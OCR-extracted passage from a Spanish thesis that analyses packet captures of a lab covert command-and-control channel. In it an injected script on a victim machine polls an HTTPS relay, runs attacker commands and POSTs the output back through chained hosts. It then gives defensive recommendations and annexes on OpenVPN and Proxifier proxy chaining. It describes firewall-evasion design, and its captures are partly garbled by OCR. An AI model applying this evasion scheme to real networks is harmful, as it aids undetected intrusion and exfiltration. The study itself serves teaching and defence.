11 4.31263955@  192.168.2.17 192.168.2.1 TCP 66 443 > 35848 [ACK] Seq=2366 Ack=598 Win=64768 Len=0 TSval=1082714770 TSecr=4066541824
12 4.312790358 192.168.2.1 192.168.2.17 TLSv1.3 235 Application Data

13 4.312802814  192.168.2.17 192.168.2.1 TcP 66 443 > 35848 [ACK] Seq=2366 Ack=767 Win=64640 Len=@ TSval=1082714770 TSecr=4066541824
14 4312963460  192.168.2.17 192.168.2.1 TLSv1.3 369 Application Data

15 4.313102660  192.168.2.17 192.168.2.1 TLSv1.3 369 Application Data

16 4.313483857 192.168.2.1 192.168.2.17 TCP 66 35848 > 443 [ACK] Seq=767 Ack=2669 Win=64128 Len=0 TSval-4066541825 TSecr=1082714771
17 4.313652985  192.168.2.1 192.168.2.17 TCP 66 35848 > 443 [ACK] Seq=767 Ack=2972 Win=64128 Len=0 TSval=4066541825 TSecr=1082714771
18 4.317027211  192.168.2.17 192.168.2.1 TLSv1.3 1369 Application Data

19 4.317711425 192.168.2.1 192.168.2.17 TCP 66 35848 » 443 [ACK] Seq=767 Ack=4275 Win=64128 Len=@ TSval=4066541829 TSecr=1082714775

21 4.318775167  192.168.2.17 192.168.2.1 TLSv1.3 90 Application Data

Figura 4.23: Captura de paquetes entre inter-07 e intra-00 desde el punto de vista de
inter-07.

Como se ha senalado, estas tramas se repiten tantas veces sean necesarias hasta que inter-07
actualice el servidor web y muestre el niimero de comando a ejecutar que haya recibido de
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kali-29.

Cuando suceda este caso, intra-00 enviaré el resultado de ejecucion del comando al servidor
web por medio del campo encriptado “Application Data”, y este se comunicara con el resto de
méaquinas intermedias para hacer llegar el resultado a kali-29. Este ultimo tipo de tréfico se
realizard mediante HT'TP, por lo que si es posible analizar su contenido (Figura :

126 32.561330103 192.168.2.17 192.168.2.50 DNS 87 Standard query Oxlada AAAA dl.rtmalvado.edu OPT

127 32.562251804 192.168.2.50 192.168.2.17 DNS 132 Standard query response @xlada AAAA d1.rtmalvado.edu SOA nsl.rtmalvado.edu OPT

128 32.562662153 192.168.2.17 192.168.2.15 Tcp 74 45274 + 8@ [SYN] Seq=0 Win=64240 Len=@ MSS=146@ SACK_PERM=1 TSval=54594045 TSecr=0 WS=128

129 32.563185118 192.168.2.15 192.168.2.17 cp 74 .88 » 45274 [SYN, ACK] Seq=8 Ack=1 Win=6516@ Len=0 MSS=146@ SACK PERM=1 TSval=3083443588 TSecr=54594845 WS=128
130 32.563237503 192.168.2.17 192.168.2.15 TCP 66 45274 > 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=54594046 TSecr=3083443580

131 32.563354470 192.168.2.17 192.168.2.15 cp 284 45274 » 80 [PSH, ACK] Seq=1 Ack=1 Win=64256 Len=218 TSval=54594046 TSecr=3083443580 [TCP segment of a reassembled PDU]
132 32.563408638 192.168.2.17 192.168.2.15 HTTP 697 POST / HTTP/1.1 (application/x-www-form-urlencoded)

133 32.563634795 192.168.2.15 192.168.2.17 Tcp 66 80 + 45274 [ACK] Seq=1 Ack=219 Win=65024 Len=0 TSval=3083443580@ TSecr=54594046

134 32.563634929 192.168.2.15 192.168.2.17 cp 66 88 » 45274 [ACK] Seq=1 Ack=850 Win=64512 Len=@ TSval=3083443580@ TSecr=54594846

135 32.576164200 192.168.2.15 192.168.2.17 HTTP 1458 HTTP/1.1 200 OK (text/html)

136 32.576181870 192.168.2.17 192.168.2.15 cp 66 45274 » 80 [ACK] Seq=850 Ack=1393 Win=64128 Len=0 TSval=54594859 TSecr=3083443593

137 32.577717598 192.168.2.17 192.168.2.15 cp 66 45274 » 80 [FIN, ACK] Seq=85@0 Ack=1393 Win=64128 Len=0 TSval=54594860 TSecr=3083443593

138 32.579521415 192.168.2.15 192.168.2.17 Tcp 66 80 + 45274 [FIN, ACK] Seq=1393 Ack=851 Win=64512 Len=0 TSval=3083443596 TSecr=54594060

139 32.579549707 192.168.2.17 192.168.2.15 cp 66 45274 > 80 [ACK] Seq=851 Ack=1394 Win=64128 Len=0 TSval=54594862 TSecr=3083443596

Figura 4.24: Captura de paquetes entre las maquinas intermedias tras respuesta de la maquina
de intra-00 (1).

Este trafico es mas reconocible, pues ya se ha analizado en anteriores ocasiones. Interesa, sobre
todo, el POST que envia la maquina intermedia inter-07 hacia inter-05 en el que se puede
observar como se pasa truncado por POST, el resultado de la ejecucion del comando pedido
desde la maquina kali-29 en intra-00 (Figura 4.25)):

Frame 132: 697 bytes on wire (5576 bits), 697 bytes captured (5576 bits) on interface ens18, id @
Ethernet II, Src: PcsCompu_72:20:17 (08:00:27:72:20:17), Dst: PcsCompu_72:20:15 (@08:00:27:72:20:15)
Internet Protocol Version 4, Src: 192.168.2.17, Dst: 192.168.2.15
Transmission Control Protocol, Src Port: 45274, Dst Port: 80, Seq: 219, Ack: 1, Len: 631
[2 Reassembled TCP Segments (849 bytes): #131(218), #132(631)]
Hypertext Transfer Protocol
v HTML Form URL Encoded: application/x-www-form-urlencoded
v Form item: "resultado” = "++++PID+TTY++++++++++TIME+CMD%OA++54431+ptsi2F1++++00%3A00%3A00+sudo%OA++54432+ptsH2F1++++00%3A00%3A00+su%BA++54433+pt s%2F 1 ++++00%3A00%3A00+bash¥%OA+716714+pts%2F1+

Key: resultado
Value [truncated]: ++++PID+TTY++++++++++TIME+CMD%OA++54431+pts%2F1++++00%3A00%3A00+5udo%OA++54432+pts%2F1++++00%3A00%3A00+5U%OA++54433+ptsH2F1++++00%3A00%3A00+bash%0A+716714+ptsh2F1++++01

Figura 4.25: Captura de paquetes entre las méquinas intermedias tras respuesta de intra-00

2).

4.3.4. Maquina victima (intra-00)

Por dltimo, se centrara el analisis de trafico sobre la méquina situada en la intranet.
Como se ha visto en el anterior apartado, lanza peticiones en periodos irregulares hacia el servidor
HTTPS alojado en la maquina intermedia inter-07.
Al ser trafico HTTPS, se encuentra encriptado, por lo que se debe tener en cuenta para su anélisis
lo senialado tanto en el Apartado como en el Apartado [4.3.2]

El flujo de cada una de las peticiones es siempre el mismo y casi idéntico al que se mostré en la
Figura solo que desde la parte de intra-00, como se puede ver en la Figura [1.26}
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61 9.721766193 192.168.5.10 192.168.2.17 TCP 66 35728 » 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=406523996@ TSecr=10814129085

62 9.732546565 192.168.5.1@ 192.168.2.17 TLSV1.3 583 Client Hello

63 9.733666545 192.168.2.17 192.168.5.10 TCP 66 443 » 35728 [ACK] Seq=1 Ack=518 Win=64768 Len=8 TSval=1081412917 TSecr=4865239971

64 9.739666833  192.168.2.17 192.168.5.10 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Data, Application Data
65 9.739683505 192.168.5.10 192.168.2.17 TCP 66 35728 » 443 [ACK] Seq=518 Ack=2366 Win=63616 Len=0 TSval=4065239978 TSecr=1081412923
66 9.740548345 192.168.5.10 192.168.2.17 TLSv1.3 146 Change Cipher Spec, Application Data

67 9.740952975 192.168.5.10 192.168.2.17 TLSV1.3 305 Application Data

68 9.741171978 192.168.5.10 192.168.2.17 TLSv1.3 131Application Data

69 9.741529606  192.168.2.17 192.168.5.10 TCcp 66 443 > 35728 [ACK] Seq=2366 Ack=598 Win=64768 Len=0 TSval=1081412925 TSecr=4065239979
70 9.741723593 192.168.2.17 192.168.5.10 TCP 66 443 » 35728 [ACK] Seq=2366 Ack=837 Win=64640 Len=0 TSval=1081412926 TSecr=4865239979
71 9.741788560  192.168.2.17 192.168.5.10 TCP 66 443 > 35728 [ACK] Seq=2366 Ack=902 Win=64640 Len=0 TSval=1081412926 TSecr=4865239979
72 9.741811839 192.168.2.17 192.168.5.10 TLSV1.3 369 Application Data

73 9.741820688 192.168.5.10 192.168.2.17 TCP 66 35728 » 443 [ACK] Seq=902 Ack=2669 Win=64128 Len=0 TSval=4065239986 TSecr=1081412926
74 9.742072445  192.168.2.17 192.168.5.10 TLSv1.3 369 Application Data

75 9.742083369 192.168.5.10 192.168.2.17 TCP 66 35728 » 443 [ACK] Seq=902 Ack=2972 Win=64128 Len=0 TSval=4065239986 TSecr=1081412926
76 9.747694713 192.168.2.17 192.168.5.10 TLSv1.3 1381 Application Data

77 9.747713334  192.168.5.10 192.168.2.17 TCP 66 35728 + 443 [ACK] Seq=902 Ack=4287 Win=64128 Len=0 TSval-4065239986 TSecr=1081412931

TLSV1.3
54 35728 > 443 [RST] Seq=9 in-0 Len=0

192.168.2.17 5435728 » 443 [RST] Seq=9

Figura 4.26: Captura de paquetes entre intra-00 e inter-07 con HTTPS (1).

Los paquetes de “Application Data” se entiende que son los de contenido més confidencial, y
se puede ver como intra-00 envia dos y recibe cuatro de inter-07.

intra-00 envia peticiones GET, tal y como se puede observar en el codigo (Apartado .
Y lo que recibe es el contenido HTML del servidor web desplegado en inter-07, en el que se
accedera al contenido de la etiqueta span correspondiente donde deberia mostrarse el ntimero de
comando a ejecutar en local.

Si al acceder se encuentra un 0, se lanza otra peticién después de un periodo al azar entre 1 y
10 segundos. Si se encuentra un ntmero distinto al 0 se ejecuta el comando en local y se envia
al momento, mediante POST, el resultado del mismo.

Tras esto se ejecutaria un break, por lo que no se vuelven a lanzar peticiones.

Por lo tanto, se puede deducir que, en el momento en que se acaben de enviar las peticiones, si
las dltimas son dos seguidas, es que, se ha encontrado un ntimero en la etiqueta span del servidor
web en inter-07, se ha ejecutado el comando y se ha enviado la respuesta.

En la Figura [£:27) se pueden ver los tltimos paquetes rastreados de la comunicacion entre

intra-00 e inter-07, en los que se demuestra, debido a su cercania en el tiempo, como se ha
argumentado previamente, que se ha enviado contenido POST hacia inter-07:
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137 39.173228152 192.168.5.10 192.168.2.50 DNS 87 Standard query @x18f5 AAAA d3.rtmalvado.edu OPT
138 30.174559123 192.168.2.50 192.168.5.10 DNS 132 Standard query response @x18T5 AAAA d3.rtmalvado.edu SOA nsi..

141 30.176643085 192.168.5.10 192.168.2.17 TCP 66 35630 — 443 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=233852608..
142 30.187244310 192.168.5.10 192.168.2.17 TLSv1.3 583 Client Hello
143 30.188134829 192.168.2.17 192.168.5.10 TCP 66 443 - 35630 [ACK] Seq=1 Ack=518 Win=64768 Len=0 TSwal=1988245..
144 30.192328144 192.168.2.17 192.168.5.10 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Applicati.
145 30.192341745 192.168.5.10 192.168.2.17 TCP 66 35630 — 443 [ACK] Seq=518 Ack=2366 Win=63616 Len=0 TSval=2338..
146 30.193217396 192.168.5.10 192.168.2.17 TLSv1.3 146 Change Cipher Spec, Application Data
147 30.193585179 192.168.5.10 192.168.2.17 TLSv1.3 235 Application Data
148 30.194051996 192.168.2.17 192.168.5.10 TCP 66 443 — 35630 [ACK] Seq=2366 Ack=598 Win=64768 Len=8 TSval=1988..
149 30.194239249 192.168.2.17 192.168.5.10 TLSv1.3 369 Application Data
150 30.194251099 192.168.5.10 192.168.2.17 TCP 66 35630 — 443 [ACK] Seq=767 Ack=2669 Win=64128 Len=8 TSval=2338..
151 30.194239446 192.168.2.17 192.168.5.10 TCP 66 443 — 35630 [ACK] Seq=2669 Ack=767 Win=64640 Len=0 TSval=1988..
152 30.194362378 192.168.2.17 192.168.5.10 TLSv1.3 369 Application Data
153 30.194372014 192.168.5.10 192.168.2.17 TCP 66 35630 — 443 [ACK] Seq=767 Ack=2972 Win=64128 Len=0 TSval=2338..
154 30.199148113 192.168.2.17 192.168.5.10 TLSv1.3 1370 Application Data

30.199166522 192.168.5.10 192.168.2.17 TCP 66 35630 — 443 [ACK] Seq=767 Ack=4276 Win=64128 Len=0 TSval=2338..

157 30.200941296 192.168.2.17 192.168.5.10 TLSv1.3 90 Application Data
i [

5 5 192.168.5.10 216 .2.50 DNS ard query @x@ ABAA d3. alvado.edu OPT
162 30.229285358 192.168.2.50 192.168.5.10 DNS 132 Standard query response @x0510 AAAA d3.rtmalvado.edu SOA nsi..

30.230409151 192.168.5.10 192.168.2.17 TCP 66 35632 — 443 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=233852613..
166 30.241152281 192.168.5.10 192.168.2.17 TLSv1.3 583 Client Hello
167 30.2419771656 192.168.2.17 192.168.5.10 TCP 66 443 — 35632 [ACK] Seg=1 Ack=518 Win=64768 Len=0 TSwal=1988245..
168 30.245811768 192.168.2.17 192.168.5.10 TLSv1.3 2431 Server Hello, Change Cipher Spec, Application Data, Applicati.
169 30.245827039 192.168.5.10 192.168.2.17 TCP 66 35632 — 443 [ACK] Seq=518 Ack=2366 Win=63616 Len=8 TSval=2338..
170 30.246704276 192.168.5.10 192.168.2.17 TLSv1.3 146 Change Cipher Spec, Application Data
171 30.247101354 192.168.5.10 192.168.2.17 TLSv1.3 306 Application Data
172 30.247162786 192.168.5.10 192.168.2.17 TLSv1.3 478 Application Data
173 30.247625512 192.168.2.17 192.168.5.10 TCP 66 443 - 35632 [ACK] Seq=2366 Ack=598 Win=64768 Len=0 TSval=1988..
174 30.247880625 192.168.2.17 192.168.5.10 TLSv1.3 369 Application Data
175 30.247892704 192.168.5.10 192.168.2.17 TCP 66 35632 — 443 [ACK] Seq=1256 Ack=2669 Win=64128 Len=0 TSval=233..
176 30.247880835 192.168.2.17 192.168.5.10 TCP 66 443 — 35632 [ACK] Seq=2669 Ack=838 Win=64640 Len=8 TSval=1988..
177 30.247880892 192.168.2.17 192.168.5.10 TLSv1.3 369 Application Data
178 30.247922898 192.168.5.10 192.168.2.17 TCP 66 35632 — 443 [ACK] Seq=1256 Ack=2972 Win=63872 Len=0 TSval=233..
179 30.247947764 192.168.2.17 192.168.5.10 TCP 66 443 - 35632 [ACK] Seq=2972 Ack=1250 Win=64256 Len=0 TSval=198..
180 30.252159095 192.168.2.17 192.168.5.10 TLSv1.3 1448 Application Data
181 39.252178958 192.168.5.10 192.168.2.17 TCP 66 35632 — 443 [ACK] Seq=1256 Ack=4354 Win=64128 Len=0 TSval=233..
182 30.253204976 192.168.5.16 192.168.2.17  TCP 66 35632 - 443 [FIN, ACK] Seq=1250 Ack=4354 Win=64128 Len=@ TSva..

183 30.254254577 192.168.2.17 o TLSv1.3 90 Application Data

Figura 4.27: Captura de paquetes entre intra-00 e inter-07 con HTTPS (2).

4.3.5. Conclusiones

Con la introduccién de varios intermediarios en el laboratorio, se ha logrado ocultar el uso

del médulo socat, al menos desde el punto de vista de la comunicacién entre la intranet y la red
intermedia, que es donde estaria colocado el firewall.
Esto permite que el cortafuegos no sospeche de redirecciones en el dispositivo destino de los pa-
quetes lanzados desde la intranet, pues socat ahora no esté activo en la primera de las méquinas
intermedias (inter-07), sino en las siguientes que llevan hasta la maquina atacante (inter-05
e inter-06).

Al introducir el protocolo HTTPS en la primera maquina intermedia, que se ha convertido en un
servidor web, se ha logrado cifrar por completo la comunicacién entre intranet y red intermedia,
como se ha demostrado en los puntos anteriores.

Solo si se conoce el funcionamiento del script inyectado en la méaquina victima (intra-00), se
podria llegar a sospechar del trafico. Ademas, las peticiones desde esta hacia el servidor web, se
envian en intervalos irregulares de tiempo, por lo que si el cortafuegos rastrea a partir de patrones
regulares en el trafico, no se detectara ninguno, lo que reduciré la posibilidad de descartar los
envios.
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Capitulo 5

Conclusiones y futuro del proyecto.

El proyecto arrancé con la finalidad de estudiar las distintas formas de comunicacién posibles,
sin que se desvele ni el origen, ni el destino real de las mismas, para posteriormente, ponerlo
en marcha en un entorno real, demostrando asi, de manera préctica, que se puede transmitir
informacion sincronizada entre dos partes sin que se reconozcan entre ellas.

Durante todo el trabajo se ha ido probando, progresivamente, como esta comunicaciéon es
posible, siempre y cuando se tenga acceso a una red a la que tengan acceso ambas partes y en la
que se pueda administrar las maquinas que forman parte de ella para permitir la redirecciéon de
la informacion.

También se ha podido comprobar como, para la completa efectividad de las técnicas de anonimi-
zacidn, es necesario manejar con destreza lenguajes de programacion relacionados con sistemas
Linux y servidores web, como son Shell Script, PHP y Python. Y también lenguajes de procesa-
miento de ficheros de texto, como es AWK.
Todos ellos han sido imprescindibles para lograr el objetivo final, lo que demuestra la gran po-
tencia y utilidad que puede ofrecer su uso.

Pero, sobre todo, con este trabajo se pretende demostrar la fragilidad y vulnerabilidad que
toda red puede llegar a tener, por mucho que se invierta en su seguridad y hermeticidad.
Por eso, a continuacién, se exponen algunas de las debilidades encontradas durante el desarrollo
del proyecto, y recomendaciones de uso para evitar estas brechas que pueden suponer la entrada
de intrusos en la organizacion.

5.1. Peligros que supone la efectividad de la anonimizacién y re-
comendaciones de seguridad.

En primer lugar, es fundamental, si se contiene informacién sensible en la organizacion, esta-
blecer la seguridad como objetivo transversal y reforzar las politicas en el limite entre dos o mas
redes, fortaleciendo, sobre todo, el filtrado de paquetes, los sistemas de Deteccion/Prevencion de
intrusion y la efectividad del cortafuegos.

Si es necesario, incluir doble filtrado de los paquetes, mediante distintos proxies que sigan, exhaus-
tivamente, las sesiones desde la red con servidores externos.
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También se puede ser més estricto con las politicas de filtrado, de forma que siempre se denieguen
todos los paquetes entrantes, y se acepten los méas concretos.

Ademas, se ha visto como el rastreo a partir de patrones regulares en el trafico es util para
detectar anomalias, pero los atacantes son mucho més suspicaces y saben evitar la generacion de
dichos patrones, por lo que se debe tratar de dejar de depender de esto para descartar el trafico
y priorizar otro tipo de técnicas como puede ser un rastreo més profundo sobre las peticiones
recurrentes hacia una maquina.

Conviene revisar més a menudo el contenido y los programas instalados en los ordenadores
que forman parte de la intranet, de forma que: cualquier fichero ejecutable, .py, .sh, .php, etc,
sean analizados siempre. O incluso, si no son estrictamente necesarios, prohibir el uso de los
mismos por parte de los usuarios.

En el proyecto se ha visto también, como todos los sistemas operativos utilizados han sido de
tipo Unix, por la enorme cantidad de posibilidades que ofrecen, y la libertad y la facilidad de su
uso, pero se podia haber realizado la simulacién con sistemas Windows o MacOS perfectamente,
aunque tal vez habria sido algo més laborioso, pero el resultado podria haber sido igualmente
satisfactorio.

Por lo tanto, es importante no establecer preferencias, en caso de rastreo, sobre los dispositivos
teniendo en cuenta la procedencia de su sistema operativo. El ataque puede venir desde cualquiera
de ellos.

5.2. Futuro del proyecto.

Una vez terminada la simulacién, conviene hacer balance sobre los objetivos cumplidos y los
no logrados. O lo que es lo mismo, valorar que se podia haber hecho y no se hizo.

Los objetivos indicados en el Apartado en términos generales, se han alcanzado y se han
ido consiguiendo satisfactoriamente conforme se ha ido avanzando el trabajo, gracias también a
seguir el Plan de proyecto elaborado en el Apartado

Sin embargo, como se ha indicado, pese a haber finalizado con éxito el proyecto, atin hay mejoras
que se podian anadir en el mismo para perfeccionar, sobre todo, el método de anonimizacién
elaborado en el que se pueden implementar infinidad de alternativas y que, no se descartan
implementar a largo plazo.

A continuacion se muestran algunas propuestas de mejora para el trabajo:

Elaborar la misma comunicacién anonimizada con maquinas Windows.

Estudio de encapsulamiento de protocolos sobre otros protocolos y su implementacion.

Elaborar la comunicacién fuera de un entorno de laboratorio, donde esta sea méas realista,
y en el que sea necesario anadir reglas y normas de acceso en los puntos de acceso.

» Lanzamiento de peticiones més sigiloso desde la maquina en la intranet hacia el servidor
web almacenado en la red intermedia.
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= Utilizar mas maquinas intermedias con un orden no establecido entre ellas. Y para evitar
el uso de socat, convertir dichas méquinas en servidores proxy Squid.

= Utilizar la altima version de HT'TPS en Apache que trabaja con el protocolo QUIC, y
analizar posteriormente el trafico en busca de posibles brechas.

= Utilizar herramientas alternativas a Wireshark para el analisis de protocolos, como Cloudshark,
Savvius Omnipeek (de pago) o ColaSoft Capsa. [72]
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Capitulo 6

ANEXOS

6.1. Configuracién de OpenVPN para crear conexién cliente /ser-
vidor en Windows.

En este apartado se explica un uso béasico de la herramienta OpenVPN para realizar una
conexién entre un cliente con un servidor externo VPN.

En primer lugar, se instala la aplicacién desde la web de la propia herramienta
(https://openvpn.net /community-downloads/). En esta configuracion se utilizara la version 2.5.6
para Windows 10 de 64 bits.

Al comenzar la descarga es importante realizarla de forma Personalizada (Customize) para incluir
los certificados EasyRSA 3. Se incluyen tal y como indica la Figura (6.1

73 Setup OpenVPN 2.5.6-1601 X

Custom Installation '

Click on the icons in the tree below to change the features to be installed:

. 2| Configuration Samples ~
.- 2| Drivers

- 2| TAP-Windows6

e 2+ | Wintun

OpenSSL Utilities

-1 EasyRSA 3 Certificate Management Scripts

Used for generating public/private key pairs

This feature requires 4664KB on your hard drive. It has 1 of 1 subfeatures selected. Th...

Folder: C\Program Files\OpenVPNY Browse

Reset Disk Usage Glnstall Now

Figura 6.1: Seleccion de inclusion de certificado EasyRSA en la instalaciéon de OpenVPN.
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Posteriormente, se deja finalizar la instalacién y cuando se haya finalizado aparecera un men-
saje similar al inferior (Figura [6.2)):

OpenVPN GUI X

Mo readable connection profiles (config files) found.
Use the "Import File.." menu or copy your config files to
"Ch\Users\raul\OpenVPN\config" or "C\Program Files\OpenVPN\config\".

Figura 6.2: Aviso posterior a la instalacion de OpenVPN.

No es de especial relevancia, por lo que no se debe tener en consideracion. Simplemente, indica
que no existe un archivo de configuracién con conexiones hacia servidores.

Ahora se debe configurar una conexion en la que, por supuesto, se necesitan certificados para que

se considere a la misma como segura. Para obtenerla se utilizan la web https: //www.vpnbook.com /freevpn
en la cual se selecciona la opcion “US1 OpenVPN Certificate Bundle” tal y como se muestra en

la Figura 6.3

pA Free OpenVPN B o

(Recommended)

OpenVPN is the best and most recommended
open-source VPN software world-wide. It is the
most secure VPN option. You need to download
the open-source OpenVPN Client and our
configuration and certificate bundle from the
links below (use TCP if you cannot connect to
UDP due to network restriction).

e PL226 OpenVPN Certificate Bundle
e DE4 OpenVPN Certificate Bundle
« US1 OpenVPN Certificate Bundle (optimized

for fast web surfing; no p2p downloading)

« US2 OpenVPN Certificate Bundle (optimized

for fast web surfing; no p2p downloading)

e CA222 OpenVPN Certificate Bundle

(optimized for fast web surfing; no p2p
downloading)

e CA198 OpenVPN Certificate Bundle

(optimized for fast web surfing; no p2p

Figura 6.3: Opciones de descarga de conexiones para OpenVPN en www.vpnbook.com.
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Se descargara un paquete .zip que contendra 4 archivos de configuracion de OpenVPN (ex-
tension .ovpn). Cada uno es un tipo de conexiéon para la que dispone de un certificado. Las
conexiones disponibles son: TCP por el puerto 80, TCP por el puerto 443, UDP por el puerto

53 y UDP para el puerto 25000. Para este caso se utilizard la primera para evitar restricciones
de red.

Para importar la conexion se hace clic derecho en el icono de OpenVPN que ha aparecido en la
barra de herramientas, y se escoge la opcion “Import” e “Import file...” (Figura [6.4). Saldra una
ventana en la que se debe escoger el archivo senalado anteriormente (Figura [6.5)):

Import > Import file...

Opciones... Import from Access Server...
Salir Import from URL...

Figura 6.4: Importacion de conexion a OpenVPN en local (1).

Abrir

X
&« v 1 « Documentos * VPMBook.com-OpenVPN-US1 v &) O Buscar en VPNBook.com-Op...
Organizar ~ Nueva carpeta == ~ [ 0
Teoria “ Nombre Fecha de modificacion Tipo Tamario
22 Dropbox ‘t vpnbook-us1-tcp80 07/05/2013 6:06 OpenVPN Config F... 4
_ @ vpnbook-us1-tcp443 07/05/2013 6:06 OpenVPN Config F... 4
9 Este equipo -
@ vpnbook-us1-udp53 07/05/2013 6:06 OpenVPN Config F... 4
¥ Descargas _ ~ o
@ vpnbook-us1-udp25000 07/05/2013 6:06 OpenVPN Config F... 4

|‘j Documentos
I Escritorio

=| Imagenes

J" Musica

_J Objetos 3D
m Videos

%9 Windows (C)

Mombre: |vpnbook-us1-tcp80 V| *ovpn ~

Abrir |v Cancelar

Figura 6.5: Importacion de conexion a OpenVPN en local (2).

En el preciso momento en que se importa el archivo de conexién se establecera la misma y se
mostrara la siguiente ventana que solicita un usuario y contrasena (Figura :
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0 Conexién OpenVPN (vpnbook-us1-tcp80) - O X

Estado actual: Conectan(

Tue Apr 520:05:59 2022 yression has been used inthe pastto bre
Tue Apr 520:05:59 2022 V' but missing in -data-ciphers (AES-256-
Tue Apr 520:05:59 2022 se)

Tue Apr 520:05:59 2022 ) | | 0] [LZ4] [PKCS11] [AEAD] built on Mar 1€
Tue Apr 520:05:59 2022 FPassword:

Usuario: |

Tue Apr 520:05:59 2022 0

Tue Apr 520:05:59 2022 [[]save password 27.0.0.1:25340
Tue Apr 520:05:59 2022 B-

Tue Apr 520:05:59 2022 0K Cancelar 10.0.1:25340

Tue Apr 520:06:00 2022

Tue Apr 520:06:00 2022

Tue Apr 520:06:00 2022

Tue Apr 520:06:00 2022 MANAGEMEN T CMD "bytecount s’
Tue Apr 5 20:06:00 2022 MANAGEMENT: CMD 'hold off

Tue Apr 520:06:00 2022 MANAGEMENT: CMD 'hold release’

< >

OpenVPN GUI 11.27.0.0/2.5.6

Desconectar Reconectar Ocultar

Figura 6.6: Credenciales solicitadas por OpenVPN para establecer una conexion.

Para el caso que nos ocupa se usaran las credenciales proporcionadas por https: / /www.vpnbook.com/freevpn

(Figura [6.7):

» Username: vpnbook

e Password: 9ntas3c

Figura 6.7: Credenciales aportadas por www.vpnbook.com para establecer una conexién en
OpenVPN.

A continuacién se mostrara un mensaje del SO en el que se confirma que se ha establecido la
conexion y la IP asignada (para este caso comenzara por 10.12.0.%).

Para comprobar que se ha establecido la conexion correctamente, se puede realizar un ipconfig
que mostrara la IP asignada en el adaptador OpenVPN (Figura :

ptador desconocido OpenVPN TAP-Windo

Sufijo DNS especifico para la conexidn.
Vinculo: direccion IPve local.
IPv4.
M a de subred 5o c
Puerta de enlace predeterminada

Figura 6.8: IP adjudicada para la conexiéon OpenVPN.

También se puede visibilizar la IP publica actual (https://www.cual-es-mi-ip.net /) y asi com-
probar que no coincide con el proveedor de Internet local, ni con la localizacién del usuario

(Figura[6.9):
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naessenees 198.7.62.204 B8

Proveedor de Internet Pais Proxy

Leaseweb-usa-wdc United States no

Figura 6.9: IP publica en la conexién OpenVPN.

6.2. Configuraciéon de proxy chaining en Proxifier.

Se expone a continuaciéon un ejemplo de creaciéon de proxy chaining en Windows. Para el
mismo se selecciona la aplicacién Proxifier, que permite a las aplicaciones del usuario operar
mediante servidores proxy HTTP o por medio de una cadena de ellos en cualquier cliente de
Internet, aunque posea cortafuegos.|39]

La aplicacion se descarga con total normalidad desde la pagina oficial El Eso si, serd apta solo
para 30 dias gratis, pues es una herramienta de pago (su precio actual es de 35.72€).

Una vez instalada se mostrara una ventana similar a la aportada en la Figura|6.10
Para formar la cadena de servidores proxy se debe acceder al icono resaltado en amarillo en la
propia Figura:

Thttps:/ /www.proxifier.com/
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ﬂ Proxifier - O x

File Profle Log View Help E Q fém @ " L.' I}J

Application Target Time/Status Rule : Proxy Sent Received

)

2= Connections |4k Traffic | @ Statistics

[04.05 20:3%:36] Netwark Engine was stopped automatically. Restarting. ~
[04.06 16:27:31] (Automatic DNS moade detection) Local DNS service is unavailable. Name Resalution through proxy is enabled.
[04.06 33] Could not clear DNS cache, WaitForSingleObject failed with error 1460
[04.06 16:27:35] (Automatic DNS mode detection) Local DNS service is available. Name Resolution through proxy is disabled.
[04.06 16:33:13] Network Engine was stopped automatically. Restarting.
[04.06 17:32:36] Netwark Engine was stopped automatically. Restarting.
[04.06 18:43:20] Network Engine was stopped automatically. Restarting.
[04.06 18:46:52] (Automatic DNS mode detection) Local DNS service is unavailable. Name Resolution through proxy is enabled.
[04.06 18:46:57] (Automatic DNS made detection) Local DNS service is available. Name Resolution through proxy is disabled.
[04.06 20:31:17] (Automatic DNS mode detection) Local DNS service is unavailable. Name Resolution through proxy is enabled.
22] InjectUdp failed with error GetOverlappedResult failed with error 1341
[04.07 08:09:22] Network Engine was stopped automatically. Restarting.
[04.07 08:09:22] (Automatic DNS mode detection) Local DNS service is available. Name Resolution through proxy is disabled.
‘[DA 07 18:46:50] Network Engine was stopped automatically. Restarting.
v
< >

Ready 0 active connections Down 0 B/sec Up 0 B/sec System DNS

Figura 6.10: Pantalla principal de Proxifier.

A continuacion se abrird una ventana como la expuesta en la Figura[6.12] en la que, por medio
del botén Add..., se deben anadir los servidores proxys que se quieren utilizar (Figura|6.11]):

Proxy Server ? X
Server
Address: || | Port: I:I
Protocol: | v|

Authentication

[JEnable

Options

Check Advanced... Cancel

Figura 6.11: Pantalla para anadir servidores proxy en Proxifier.

Para el caso que nos ocupa se incluyen servidores proxy gratuitos disponibles aportados por
las webs https://geonode.com/free-proxy-list/| y https://spys.one/en/, que incluyen un puerto
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al que acceder al servicio proxy que proporcionan y el protocolo que utilizan (en este caso uno
SOCKS5 y otro HTTPS):

E Proxy Servers ? X
Address " Port Type
62.109.31.192 20000 SOCKSS L
85.25.201.22 5566 HTTPS
Remove
Check...
You can chain several proxy servers together: Proxy Chains...
oK Cancel

Figura 6.12: Ventana en la que se muestran los servidores proxy anadidos en Proxifier.

Una vez guardados los servidores proxy, en el siguiente paso se construira el chaining entre
ellos. Para ello se debe presionar el botéon Proxy Chains... que aparecera en la parte inferior de
la pantalla actual.

Es entonces cuando se mostrard un cuadro blanco donde se creard cada uno de los encadena-
mientos de proxys que se necesiten con el botéon Create. A partir de ese momento se permite
anadir un nombre al mismo y se quedaré vacio.

Para anadir los servidores al mismo, simplemente se arrastra cada uno de los proxys almacenados
que se muestran en el cuadro superior de la ventana hacia el cuadro inferior, y se suelta sobre el
proxy chain creado.

Finalmente, quedaria una lista como la mostrada en la Figura [6.13

Drag and Drop a proxy server from the list to add it into a chain.

proxychain
62.109.31.192:20000 SOCKS5

85.25.201.22:5566 HTTPS
Create

Type...

Remove

Drag and Drop proxy servers within a chain to alter the order.
Use check boxes to enable/disable a proxy in a chain.

Figura 6.13: Creacién de proxy chain con lista de servidores proxy en Proxifier.

Ahora, al pulsar Ok en dicha pantalla se muestra la siguiente ventana (Figura [6.14)):
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Proxifier

You do not have any proxy servers enabled in
Profile- = Proxification_Rules.

Do you want to edit Proxifcation Rules now?

~o
